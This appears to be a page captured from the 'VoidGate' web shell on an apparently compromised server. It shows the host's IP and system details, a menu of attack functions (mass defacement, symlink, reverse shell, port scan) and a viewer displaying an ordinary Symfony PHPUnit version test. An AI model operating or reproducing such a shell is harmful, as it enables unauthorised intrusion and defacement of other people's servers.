ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Component
/
Intl
/
Tests
/
Util
/
Viewing: VersionTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Intl\Tests\Util; use PHPUnit\Framework\TestCase; use Symfony\Component\Intl\Util\Version; /** * @author Bernhard Schussek <bschussek@gmail.com> */ class VersionTest extends TestCase { public function normalizeProvider() { return array( array(null, '1', '1'), array(null, '1.2', '1.2'), array(null, '1.2.3', '1.2.3'), array(null, '1.2.3.4', '1.2.3.4'), array(1, '1', '1'), array(1, '1.2', '1'), array(1, '1.2.3', '1'), array(1, '1.2.3.4', '1'), array(2, '1', '1'), array(2, '1.2', '1.2'), array(2, '1.2.3', '1.2'), array(2, '1.2.3.4', '1.2'), array(3, '1', '1'), array(3, '1.2', '1.2'), array(3, '1.2.3', '1.2.3'), array(3, '1.2.3.4', '1.2.3'), array(4, '1', '1'), array(4, '1.2', '1.2'), array(4, '1.2.3', '1.2.3'), array(4, '1.2.3.4', '1.2.3.4'), ); } /** * @dataProvider normalizeProvider */ public function testNormalize($precision, $version, $result) { $this->assertSame($result, Version::normalize($version, $precision)); } public function compareProvider() { return array( array(null, '1', '==', '1', true), array(null, '1.0', '==', '1.1', false), array(null, '1.0.0', '==', '1.0.1', false), array(null, '1.0.0.0', '==', '1.0.0.1', false), array(1, '1', '==', '1', true), array(1, '1.0', '==', '1.1', true), array(1, '1.0.0', '==', '1.0.1', true), array(1, '1.0.0.0', '==', '1.0.0.1', true), array(2, '1', '==', '1', true), array(2, '1.0', '==', '1.1', false), array(2, '1.0.0', '==', '1.0.1', true), array(2, '1.0.0.0', '==', '1.0.0.1', true), array(3, '1', '==', '1', true), array(3, '1.0', '==', '1.1', false), array(3, '1.0.0', '==', '1.0.1', false), array(3, '1.0.0.0', '==', '1.0.0.1', true), ); } /** * @dataProvider compareProvider */ public function testCompare($precision, $version1, $operator, $version2, $result) { $this->assertSame($result, Version::compare($version1, $version2, $operator, $precision)); } }
Coded With 💗 by
0x6ick